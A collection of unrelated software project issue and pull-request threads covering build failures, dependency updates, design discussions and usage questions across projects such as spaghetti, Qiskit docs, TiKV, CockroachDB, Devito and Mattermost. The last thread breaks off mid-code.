docs failing with rtree

Following the introduction of rtree as a dependency in #259, doc builds are failing. May be the same issue as gboeing/osmnx#45 and mikedh/trimesh#189. Will try adding rtree as a dependency that must be installed via conda-forge.
@sjsrey
Running Sphinx v2.0.1
/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/libpysal/weights/util.py:19: UserWarning: geopandas not available. Some functionality will be disabled.
  warn('geopandas not available. Some functionality will be disabled.')

Traceback (most recent call last):
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/config.py", line 361, in eval_config_file
    execfile_(filename, namespace)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/util/pycompat.py", line 86, in execfile_
    exec(code, _globals)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/checkouts/latest/doc/conf.py", line 26, in <module>
    import spaghetti
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/__init__.py", line 7, in <module>
    from .network import Network, PointPattern, SimulatedPointPattern
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/network.py", line 7, in <module>
    from . import util
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/util.py", line 5, in <module>
    from rtree import Rtree
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/__init__.py", line 1, in <module>
    from .index import Rtree
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/index.py", line 5, in <module>
    from . import core
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/core.py", line 125, in <module>
    raise OSError("Could not find libspatialindex_c library file")
OSError: Could not find libspatialindex_c library file

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/cmd/build.py", line 283, in build_main
    args.tags, args.verbosity, args.jobs, args.keep_going)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/application.py", line 201, in __init__
    self.config = Config.read(self.confdir, confoverrides or {}, self.tags)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/config.py", line 196, in read
    namespace = eval_config_file(filename, tags)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/config.py", line 371, in eval_config_file
    raise ConfigError(msg % traceback.format_exc())
sphinx.errors.ConfigError: There is a programmable error in your configuration file:

Traceback (most recent call last):
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/config.py", line 361, in eval_config_file
    execfile_(filename, namespace)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/util/pycompat.py", line 86, in execfile_
    exec(code, _globals)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/checkouts/latest/doc/conf.py", line 26, in <module>
    import spaghetti
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/__init__.py", line 7, in <module>
    from .network import Network, PointPattern, SimulatedPointPattern
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/network.py", line 7, in <module>
    from . import util
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/util.py", line 5, in <module>
    from rtree import Rtree
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/__init__.py", line 1, in <module>
    from .index import Rtree
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/index.py", line 5, in <module>
    from . import core
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/core.py", line 125, in <module>
    raise OSError("Could not find libspatialindex_c library file")
OSError: Could not find libspatialindex_c library file

Configuration error:
There is a programmable error in your configuration file:

Traceback (most recent call last):
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/config.py", line 361, in eval_config_file
    execfile_(filename, namespace)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/sphinx/util/pycompat.py", line 86, in execfile_
    exec(code, _globals)
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/checkouts/latest/doc/conf.py", line 26, in <module>
    import spaghetti
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/__init__.py", line 7, in <module>
    from .network import Network, PointPattern, SimulatedPointPattern
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/network.py", line 7, in <module>
    from . import util
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/spaghetti/util.py", line 5, in <module>
    from rtree import Rtree
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/__init__.py", line 1, in <module>
    from .index import Rtree
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/index.py", line 5, in <module>
    from . import core
  File "/home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages/rtree/core.py", line 125, in <module>
    raise OSError("Could not find libspatialindex_c library file")
OSError: Could not find libspatialindex_c library file

It appears rtree is already being installed via conda-forge...

How to force readthedocs to install via conda-forge...?
$ /home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/bin/python -m pip install --exists-action=w --cache-dir /home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/.cache/pip -r requirements.txt

Collecting scipy>=0.11 (from -r requirements.txt (line 1))
  Downloading https://files.pythonhosted.org/packages/f0/30/526bee2ce18c066f9ff13ba89603f6c2b96c9fd406b57a21a7ba14bf5679/scipy-1.2.1-cp35-cp35m-manylinux1_x86_64.whl (24.7MB)
Collecting numpy>=1.3 (from -r requirements.txt (line 2))
  Downloading https://files.pythonhosted.org/packages/f6/f3/cc6c6745347c1e997cc3e58390584a250b8e22b6dfc45414a7d69a3df016/numpy-1.16.3-cp35-cp35m-manylinux1_x86_64.whl (17.2MB)
Collecting pandas (from -r requirements.txt (line 3))
  Downloading https://files.pythonhosted.org/packages/74/24/0cdbf8907e1e3bc5a8da03345c23cbed7044330bb8f73bb12e711a640a00/pandas-0.24.2-cp35-cp35m-manylinux1_x86_64.whl (10.0MB)
Collecting esda (from -r requirements.txt (line 4))
  Downloading https://files.pythonhosted.org/packages/3e/84/bff39fdd34fc7f2dd3e0a1b7a6b92cea8ca17ce0ab9359a96ed301947cd6/esda-2.0.0.tar.gz (46kB)
Collecting rtree (from -r requirements.txt (line 5))
  Downloading https://files.pythonhosted.org/packages/33/0d/0bcb0fdd759570e85697189f675fa462131e5636482f2832288bbe4bb6f7/Rtree-0.8.3-py3-none-any.whl
Collecting python-dateutil>=2.5.0 (from pandas->-r requirements.txt (line 3))
  Downloading https://files.pythonhosted.org/packages/41/17/c62faccbfbd163c7f57f3844689e3a78bae1f403648a6afb1d0866d87fbb/python_dateutil-2.8.0-py2.py3-none-any.whl (226kB)
Requirement already satisfied: pytz>=2011k in /home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages (from pandas->-r requirements.txt (line 3)) (2019.1)
Collecting libpysal (from esda->-r requirements.txt (line 4))
  Downloading https://files.pythonhosted.org/packages/c5/6b/6107c51b172a7032bc7e85acd35638af2b9b66dec6d3df042664792d3fde/libpysal-4.0.1.tar.gz (24.4MB)
Requirement already satisfied: setuptools in /home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages (from rtree->-r requirements.txt (line 5)) (40.9.0)
Requirement already satisfied: six>=1.5 in /home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/envs/latest/lib/python3.5/site-packages (from python-dateutil>=2.5.0->pandas->-r requirements.txt (line 3)) (1.12.0)
Building wheels for collected packages: esda, libpysal
  Building wheel for esda (setup.py): started
  Building wheel for esda (setup.py): finished with status 'done'
  Stored in directory: /home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/.cache/pip/wheels/bf/8b/0c/d4323688d80d66b94f30cd6373a640b9a8e55cdd9e69f8b453
  Building wheel for libpysal (setup.py): started
  Building wheel for libpysal (setup.py): finished with status 'done'
  Stored in directory: /home/docs/checkouts/readthedocs.org/user_builds/pysal-spaghetti/.cache/pip/wheels/b9/7a/55/777eb685de870d4633c21d7ffe537ecc5ad4eede1bb3d0468e
Successfully built esda libpysal
Installing collected packages: numpy, scipy, python-dateutil, pandas, libpysal, esda, rtree
Successfully installed esda-2.0.0 libpysal-4.0.1 numpy-1.16.3 pandas-0.24.2 python-dateutil-2.8.0 rtree-0.8.3 scipy-1.2.1

The update of readthedocs.yml proposed in pysal/giddy#92 did not solve the particular issue currently causing the spaghetti docs to fail.

@weikang9009 Can you take a look at this if you have a chance?

@jGaboardi Of course. Am looking at it!

related to #294


Readme

The readme should show use braces instead of square braquets.
			cleaner:{
				element:'#description',
				time:900,
				action:'paste'
			}

Thank you for this plugin !

 Thanks for noticing.

I ran into a pasting issue for Microsoft Edge which probably affects other versions of Internet Explorer. Because of a security setting, IE may block access to the clipboard http://www.thewindowsclub.com/harden-clipboard-data-theft-ie.  There is certainly a cleaner way to write it but the code below fixed the issue for me (@ line 76):
e.preventDefault();
var ua = window.navigator.userAgent;
=var msie = ua.indexOf("MSIE ");
=if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv:11./))  {
var text=window.clipboardData.getData("Text");
} else { // If another browser, return 0
var text=e.originalEvent.clipboardData.getData('text/plain');
}
Also for reference: https://msdn.microsoft.com/en-us/library/ms535220(v=vs.85).aspx

Thank you for bringing this up, you would have been welcome to add this via a PR, and have me merge this into the code base.
I don't use Windows, or IE for that matter, so thank you for finding this so it can be added.

My bad.  I'll see if I can set up a fork and PR.  Noob here.  Sorry.


Decide how to draw circuits

Feedback
There are different ways to draw a quantum circuit.

Default draw() (text)
draw("mpl")
draw() (but with mpl set as default in ~/.qiskit/settings.conf)

If choosing the Matplotlib drawer, there are different styles too (default, textbook, iqp).
We should decide on one and make it consistent across the docs.
Other comments

In the textbook we were told to use draw() with default set to mpl, but that was a long time ago. I think the reasoning was in case people copy the code into a text environment.

A follow up issue could create a script notebooks to enforce this, but that's out of scope of this issue.

draw() (but with mpl set as default in ~/.qiskit/settings.conf)

That's cryptic. With docs, it's important that users running the code get the same result as the docs in the "happy case".
In Slack, @kevinsung pointed out he's only seen MPL used. I agree. It's more interesting and useful to readers than the text output.
So I'd vote always using mpl.

If we go with draw("mpl"), should we use the iqp style?

Also, what's the "happy path"?

Essentially the default case. There are some edge cases for users following along with the docs, like that they themselves have set ~/.qiskit/settings.conf. While we should be aware of that, our docs should be focused on doing the right thing for the majority of our users; the majority will not have ~/.qiskit/settings.conf set.
I don't like our docs relying on ~/.qiskit/settings.conf because it will be confusing for that default case why they are getting different results because they didn't realize they need to set up that file.

Ok so decision is draw("mpl") with default style. I'll close this but feel free to reopen if anyone disagrees.

with default style.

The default is going to change in Qiskit 1.0 from clifford to iqp. Abby M thinks we should be using iqp for everything. Anytime that we have .draw("mpl"), we need to add style="iqp', and regenerate the images.

We don't want the code to have an argument that's going to become unnecessary, though, right? Can't we just leave the code as is, and let the pictures change later?

We don't want the code to have an argument that's going to become unnecessary, though, right?

It's not the end of the world imo. We can remove it once Qiskit 1.0 is released.

Can't we just leave the code as is, and let the pictures change later?

Abby M things it's important that we use the iqp style when on an ibm.com site.

Taking another look at this and given all the other stuff we have to do for the 1.0 milestone I'm fine with dropping this. It's important to have the styling of the images match the branding of IQP, but as the default is going to change to the IQP colours anyway when 1.0 comes out I would rather we not waste resources fixing this only to un-fix it later.
What we do need to do is make sure that all code blocks are using the mpl styling (i.e. not text or latex) and make sure to rerun all the notebooks with 1.0 to get the new styles once 1.0 comes out


APPS-1137 Update compiler options help to include CWL

Note: wdlOptions variable name is not updated since it would require code update (at this point large integration tests are already running so I'd only like to update docstrings).

@commandlinegirl Please take a look. I added the help for compilemode. Thanks!


Cannot find module 'typescript-cookie' or its corresponding type declarations.

Describe the bug
Cannot find module 'typescript-cookie' or its corresponding type declarations.
To Reproduce
1.- Install the latest release v1.0.0 via: npm i typescript-cookie
2.- Import the getCookie as the documentation says
3.- VSC display error about missing library or type declarations
Expected behavior
Expect no error on a TS library about missing types. Maybe I'm doing something wrong.
Screenshots

Desktop (please complete the following information):

OS: Windows 10

Also failing on macOS Big Sur 11.5.2

Should be fixed in https://github.com/carhartl/typescript-cookie/releases/tag/v1.0.2


installing third-party tools requires specifying the version in some scripts

Enhancement
In engineering scripts(like shell scripts or makefile), installing third-party tools requires specifying the version to avoid incompatible changes as time goes by.
For example, in some scripts, we install some tools through pip install and cargo install.

pip install not specify version in scripts https://github.com/tikv/tikv/blob/master/scripts/gen-tikv-details-dashboard#L9
RUN pip install isort grafanalib==v0.7.0

cargo install not specify version in makefile

https://github.com/tikv/tikv/blob/d5e1ce68bb7d7782d54276dbba3a7966072e1a5d/Makefile#L344
https://github.com/tikv/tikv/blob/d5e1ce68bb7d7782d54276dbba3a7966072e1a5d/Makefile#L371
https://github.com/tikv/tikv/blob/d5e1ce68bb7d7782d54276dbba3a7966072e1a5d/Makefile#L379


chore(deps): update common-dev-assets digest to f7408db

This PR contains the following updates:

Package
Update
Change

common-dev-assets
digest
95f6c1e -> f7408db

Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

[ ] If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

/run pipeline

/run pipeline


Add a WebSocket connector

Features:

Web Socket Client
Web Socket Server
support binary and string payloads

This was requested by a number of customers at Spark Summit.

@wmarshall484 Any example usage scenarios, rather than just websockets are needed?

@dlaboss @ddebrunner  Meant to say "potential users" not "customers".
One potential user has a chat-based social network startup. From what I understood, the chat client (nonspecific as to whether this was a phone) opens a websocket connection with a server. In addition to sending the chat messages, the client also performs sentiment analysis on the users' messages. The use case for Quarks would be to only send user sentiment back to the server when it goes outside of a certain range (e.g, the last 25 messages the user sent were unusually happy or sad, make a note of this).
He didn't say in what format the messages are sent, but as it's a chat service I suspect JSON, or encrypted JSON, would be likely.

Initial delivery merged by #32

add "ws" support.  ("wss" also works for against servers with non-self-signed certs and no client auth)
add WebSocketClient API, Jsr356WebSocketClient generic javax.websocket based impl
add javax.websocket-client and javax.websocket-server JSR356 impls provided by Eclipse Jetty jars.
update overview-summary connector table and connector use instructions
add "ws" tests

Full "wss" support is next.


spanner: fix stream destroy bug

Relates to #2356

Coverage remained the same at 99.988% when pulling 8469a50b05c2acb42c3ca5ea5cee47d36c2404b7 on callmehiphop:dg--spanner-stream-destroy into 925e651d9f42fcb2525f7ca3a4712944e53de238 on GoogleCloudPlatform:master.

I update transaction.js
it looks request stream also doesn't have end()
noStatus - TypeError: this.stream.end is not a function
at StreamProxy._onFinish (/Users/Chipintoza/GSS Projects/accounts.gss.ge/node_modules/google-gax/lib/streaming.js:103:17)
at StreamProxy. (/Users/Chipintoza/GSS Projects/accounts.gss.ge/node_modules/google-gax/lib/streaming.js:76:10)
at emitNone (events.js:86:13)
at StreamProxy.emit (events.js:185:7)
at finishMaybe (/Users/Chipintoza/GSS Projects/accounts.gss.ge/node_modules/readable-stream/lib/_stream_writable.js:504:14)
at endWritable (/Users/Chipintoza/GSS Projects/accounts.gss.ge/node_modules/readable-stream/lib/_stream_writable.js:514:3)
at StreamProxy.Writable.end (/Users/Chipintoza/GSS Projects/accounts.gss.ge/node_modules/readable-stream/lib/_stream_writable.js:484:41)
at StreamProxy. (/Users/Chipintoza/GSS Projects/accounts.gss.ge/node_modules/@google-cloud/spanner/src/transaction.js:374:23)
at emitOne (events.js:96:13)
at StreamProxy.emit (events.js:188:7)

please look  comment


Fix the demo link branch name hash

The hash in the demo link should be different than d41d8cd98f00b204e9800998ecf8427e

Codecov Report

Merging #1230 into master will increase coverage by <.01%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1230      +/-   ##
==========================================
+ Coverage   99.65%   99.66%   +<.01%
==========================================
  Files         354      354
  Lines        8971     8917      -54
  Branches     2137     2113      -24
==========================================
- Hits         8940     8887      -53
+ Misses         31       30       -1

Impacted Files
Coverage Δ

...-vapor/src/components/listBox/ListBoxConnected.tsx
100% <0%> (ø)
:arrow_up:

...ct-vapor/src/components/select/SelectConnected.tsx
100% <0%> (ø)
:arrow_up:

...act-vapor/src/components/listBox/ListBoxActions.ts
100% <0%> (ø)
:arrow_up:

...ct-vapor/src/components/listBox/ListBoxReducers.ts
100% <0%> (ø)
:arrow_up:

...ges/react-vapor/src/components/listBox/ListBox.tsx
97.87% <0%> (+0.61%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5e89a21...36b9969. Read the comment docs.


A number of functions are not recursive and will not perform the action on any contained Groups

This may be an intended functionality and the burden will be on the user to do this, but there are a few functions that do not perform the action on the Group objects inside.  The two I noticed are remove_power_connections and entities.remove.  These will just perform the function on any EntityLike in the list, but not call the corresponding Group function on its entities.

For remove_power_connections() and remove_circuit_connections(), they now recurse through all subgroups, following their descriptions that they remove ALL power/circuit connections.
entities.remove() is a little less clear-cut; it seems to me that there are valid use cases for having it recurse as well as having it be limited to just the called EntityList. Therefore, I've decided that entities.remove() will remain unchanged, while entities.recursive_remove() will provide this functionality, while being more explicit in both cases as to what exactly is going on. I'll probably follow this naming scheme for other EntityList operations, as appropriate.

Fixed/Added as of version 1.0.0.


Is it possible to open the menu with a setState or a function ?

Hi,
I want the menu be openable when I tap on another button, I then need a way to "refresh" my menu to open it.
However, the only way I found to open it is through declaration like : <SideMenu isOpen={true} ...>
But, this makes the menu opened at the first time the view is loaded, and I don't want the menu shown.
I only want it openable through a slide touch or by a button (and close by the same button).
Is that possible ?
Thanks a lot

There is an example of this using react state (isOpen) in https://github.com/react-native-fellowship/react-native-side-menu/blob/master/examples/Basic/Basic.js

Thanks, @sdg9! :+1:

Thanks ! I would wondered if you thought about another way than the setState one. But that's suitable. :+1:

Well, state of the UI should reflect a data, right (UI = fn(data))? So every time your UI changes it means some underlying data has been changed also. If you just invoke a method (like it was before with menuActions), it means that component should have an isolated state from your application which is bad by default (you can't reproduce an application state).


Devito installation on Win10

Hello everyone,
and thanks for the sharing of such a useful package! I am an applied geophysicist (mostly for landslide hazards, geotechnical stuff, ...) and I wanted to simulate seismic wave propagation for simple media (like in the 2-layer tutorial).
Unfortunately, my machine runs Win10.
I tried several approaches for installation following the guidelines:

Conda approach.
I cloned the git deposit, installed devito with pip command.
When I try to run a devito code, I get the error: "DevitoError: could'unt initialize Devito."
I think this might be because my devito install cannot find the gcc compiler?
But in git bash, "which gcc" returns /c/TDM-GCC-64/bin/gcc
Anyway, something goes wrong.

Docker approach.
I get the same error as TatianaApril (Issue #1122), which is:
"docker-compose up devito" yields "devito_1  | /usr/bin/env: æbash\rÆ: No such file or directory"

When I try Tatiana's solution, I had to install docker-machine in addition to docker desktop.
"docker-machine start default" yields "Docker machine "default" does not exist."
so I tried
"docker-machine create default" which yields "Error with pre-create check: "VBoxManage not found. Make sure VirtualBox is installed and VBoxManage is in the path"
So I'm pretty stuck here...
Do I have to install a virtual machine with docker-machine?
I thought docker was a kind of VM already.
I hope this may help other win10 users in their installation process.
Thanks for the help,
best regards!
Pierre

Hi @Pbottelin , could you try that approach: https://medium.com/@soulfoodpst/install-devito-on-windows-a-tool-for-automatic-programming-3def3949e5c8 ?

I recommend you try the solution George posted above first.
However, if you do want to debug your docker approach, I just want to highlight something:
The error you're seeing happens because of a difference between how Windows and Linux handle line endings in text files. git tries to work around this by automatically replacing line endings as it finds appropriate, however, this breaks docker because now we're running "Linux" (in docker) on files with windows-style line endings. It is important to do what I posted here. Why Tatiana moved from using docker-compose to docker-machine is not clear to me and it may be an issue specific to her environment so I would recommend staying with docker compose unless you know what you are doing.

any progress @Pbottelin ?

Hi Fabio, thanks for the reminder. I gave it a last try before leaving for summer holidays.
I succeeded using the link given by @georgebisbas (https://medium.com/@soulfoodpst/install-devito-on-windows-a-tool-for-automatic-programming-3def3949e5c8), i.e. using WSL and conda approach.
I can now run the tutorials in a jupyter notebook :)
Thanks for the help,
cheers


Increase maximum storage per node

Background: https://airtable.com/tblD3oZPLJgGhCmch/viw1DKmbKhg2MIECH/recO3yD744y8oNI3Y
Description: In 19.2, CockroachDB default range size is 64MiB and falls over at roughly 1TB per node. With this change, CockroachDB has a default range size that's higher than 64MiB and stores up to 10TB per node.
--
Customer Problem: Cost
The problem that his feature addresses is cost for customers with on-prem hosts that can store significantly more than 1TB. When running CRDB, they are forced to add more nodes to their deployments than necessary if Cockroach could support more data per node. Ultimately, customers have to pay more than necessary because they have to pay for more nodes.
Team: John Kendall, Andrew Werner, Andrew Kryczka
Github Tracking Issue: https://github.com/cockroachdb/cockroach/pull/31663 https://github.com/cockroachdb/docs/issues/5971

Estimated scope of work:

Review all mentions of default range size in docs
Revise mentions to use an include wherever possible
Update everything to note the new default range size, total cluster data size enabled by new limit
Update production deployment docs re: storage, as/if needed

From release notes:

New clusters will have a larger default range size of 512 MB, which will result in fewer ranges for the same amount of data. [#45209][#45209]

@ajwerner as Jesse noted, the recent release note says

New clusters will have a larger default range size of 512 MB, which will result in fewer ranges for the same amount of data. [#45209][#45209]

Do we have updated guidance on the maximum amount of data to store in a cluster as well?  I note the wording of this release note makes sure to avoid mentioning that. :-)

Update: i have been informed by Andrew that this is an active area of investigation.  Standing by to await the results of that work before proceeding here


Enable gzip

We already do Gzip thanks to MaxCDN that is in front of the API server. I think we can close this.


Sockets not closing on Ctrl-C

It seems the sockets linger after being closed by Ctrl-C, and do not accept new receives on same port, until a timeout passes. The only way to solve this immediately is to change the port.
Is there a proper way to close the sockets?

Following more testing, it seems as the websocket actually can be opened on same port, following CTRL-C, at least it returns "bad protocol" in case I submit a non-supported one.
That said, it stops receiving any messages, and have to be relaunched on another port to work.
Any chance it's related to fact I'm using step(1) approach (a 1 second timeout), and drive the Lua script from a C-based app?

My bad, the socket closed due to empty data being attempted to be sent.


[VS Code] Removing Terminal: Service not available: terminal

%0A%0A%23%23 Error:%0ARemoving Terminal: Service not available: terminal%0A%0A%23%23 Steps to Reproduce:%0A1.%0A2.%0A%0A||Version Data|%0A|-:|:-|%0A|**extensionName**|VSLS|%0A|**extensionVersion**|1.0.91|%0A|**protocolVersion**|2.2|%0A|**applicationName**|VSCode|%0A|**applicationVersion**|1.34.0-insider|%0A|**platformName**|Windows|%0A|**platformVersion**|10.0.17134|

Happened after Internet disconnected for an unknown amount of time with an active live share session running with a read/write terminal and read/write folder active.

Your logs may provide us with helpful information. You can access them via the Live Share: Export Logs command from the command palette (ctrl + shift + p) and attach them to this issue.

Closing this issue due to inactivity. Please reactivate it if you run into this problem again. Thanks!


Nuxt-Edge as selection

What problem does this feature solve?
I'd love to see an option to create the Nuxt app with nuxt-edge instead of nuxt :speak_no_evil:

This feature request is available on Nuxt community (#c62)

That is a good idea yes, but I believe that should be an option given to create-nuxt-app directly to avoid adding one more question that most user would rarely answer "yes".
Something like create-nuxt-app --edge <my-project>.
If someone wants to make this PR, that would be awesome, really :100:

I'm working on it for Hacktoberfest 🎃
@Atinux which dependency declaration is preferable in package.json file?
"nuxt-edge": "latest"
or
"nuxt": "npm:nuxt-edge"

other point, we can't run create-nuxt-app --edge <my-project>, because it means edge =  <my-project> and targetPath = .
I recommand create-nuxt-app <my-project> --edge


bootstrap cluster and generate a cluster id

We encounter a few times when we start a TiKV with dirty data and connect to PD, then the whole cluster will be screwed up.
We can let PD bootstrap the cluster and generate a cluster id, then TiKV can use this cluster id to communicate with PD.
For compatibility, cluster id should be an uint64, and we may use timestamp for it.

The best way is to use etcd's ClusterID if we can get it. /cc @xiang90
For backward-compatibility, we must provide two ways now.

If user doesn't pass --cluster-id, PD generates it.
If user pass --cluster-id, PD uses it directly.

Of course, we will set deprecated for the --cluster-id flag in PD.
Later, the whole flow is:

Bootstrap PD
Get PD cluster ID
Bootstrap TiKV with this cluster ID.

I propose appending some random number to timestamp. For example, if timestamp is<PHONE_NUMBER>, the cluster id can be<PHONE_NUMBER>23156.

To keep compatible, We may split 64 into two parts, time and a random number.
We should use UUID in the long term.

@siddontang Cluster ID is attached in any RPC response: https://github.com/coreos/etcd/blob/master/etcdserver/etcdserverpb/rpc.proto#L328

Cluster ID is attached in any RPC response

That is great. We can use the etcd's ClusterID directly now. @huachaohuang @overvenus

We can attach a cluster id in the newly added command GetPDMembers pingcap/kvproto#108 .
TiKV will validate pd cluster before bootstrapping, also a cluster id will make the validating more reliable.
cc #357 and pingcap/tikv#1201

Any suggestions? @huachaohuang @siddontang @BusyJay

Thanks @overvenus , we may need to discuss this issue further, let me handle it.

I think we should add cluster id in every Message. @huachaohuang @overvenus

Attaching a cluster id in every message would be a breaking change.
I think it would be enough that TiKV checks cluster id during establishing a connection.

I agree with @overvenus

Isn't cluster id already attached to every message?
https://github.com/pingcap/kvproto/blob/master/proto/pdpb.proto#L224

oh, yes. We have already checked cluster id for every message. I forgot it.
Seem that GetClusterID API may not check this later.

Etcd generates the cluster ID from initial-cluster-token and initial-cluster configurations, we can generate a random initial-cluster-token to get a random cluster ID.
But here's the problem, we don't know the cluster ID until we starts a new PD, which means that we can't start multiple PDs at the same time.


[MM-51931] Don't send channel_created event for DMs

Summary
If a newly created channel is a DM, the ChannelHasBeenCreated hook gets called with an empty TeamID. This leads to an error down the stack. Now, ChannelHasBeenCreated gets ignored for DMs.
I did try adding a test, but the only symptom of the bug is a log message (https://github.com/mattermost/mattermost-plugin-apps/blob/22741daa176f919160193831d3bd2f113aa369c8/server/proxy/notify.go#L225-L229) which is hard to test for.
Ticket Link
https://mattermost.atlassian.net/browse/MM-51931

Codecov Report
Patch coverage has no change and project coverage change: -0.02 :warning:

Comparison is base (bc131ac) 20.15% compared to head (fc846c1) 20.13%.

:exclamation: Current head fc846c1 differs from pull request most recent head 22741da. Consider uploading reports for the commit 22741da to get more accurate results

Additional details and impacted files
@@            Coverage Diff             @@
##           master     #472      +/-   ##
==========================================
- Coverage   20.15%   20.13%   -0.02%
==========================================
  Files          80       80
  Lines        6600     6605       +5
==========================================
  Hits         1330     1330
- Misses       5138     5143       +5
  Partials      132      132

Impacted Files
Coverage Δ

server/proxy/notify.go
0.00% <0.00%> (ø)

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

@DHaussermann I think the best way to test this PR is to check the logs for the error message linked in the ticket and confirm it does not longer show up


Updates traceAnalyticsDashboards version to 1.2

Signed-off-by: Tengda He<EMAIL_ADDRESS>Description
Updates traceAnalyticsDashboards version to 1.2
Issues Related
#118
Check List

[ ] New functionality includes testing.

[ ] All tests pass, including unit test, integration test and doctest

[ ] New functionality has been documented.

[ ] New functionality has javadoc added
[ ] New functionality has user manual doc added

[x] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

will bump in https://github.com/opensearch-project/trace-analytics/pull/189, closing this


Optimize fluent validation code from duplicating to one extension method

public interface IAdditional
{
    int Id { get; set; }
    string Version { get; set; }
}

public interface IUser
{
    string Name { get; set; }
}

// dto
public class CreateUser : IUser
{
    public string Name { get; set; }
}

// dto
public class UpdateUser : IAdditional, IUser
{
    int Id { get; set; }
    string Version { get; set; }
    public string Name { get; set; }
}

internal class UserValidator : AbstractValidator<IUser>
{
    public UserValidator()
    {
        When(u => u is IAdditional, () =>
        {
            RuleFor(u => (u as IAdditional).Id)
                .GreaterThan(0);

            RuleFor(u => (u as IAdditional).Version)
                .NotEmpty();
        });

        RuleFor(u => u.Name).NotEmpty();
    }
}

So, how I could optimize this code part:
When(u => u is IAdditional, () =>
{
    RuleFor(u => (u as IAdditional).Id)
        .GreaterThan(0);

    RuleFor(u => (u as IAdditional).Version)
        .NotEmpty();
});

This code part i use in every controller. Every controller has f-validator and in every f-validator I use this code lines. It should be great to move it to separate class and reuse it in every f-validator. Tried look to extension method, but I can't understand how it to use make working

An extension method is the simplest way to do this. It's pretty simple - just define an extension method that applies to all validators using generics, and put the logic for IAdditional in there:
public static class MyExtensions {
	public static void AddSharedRules<T>(this AbstractValidator<T> validator) {
		validator.When(u => u is IAdditional, () => {
			validator.RuleFor(u => (u as IAdditional).Id)
				.GreaterThan(0);

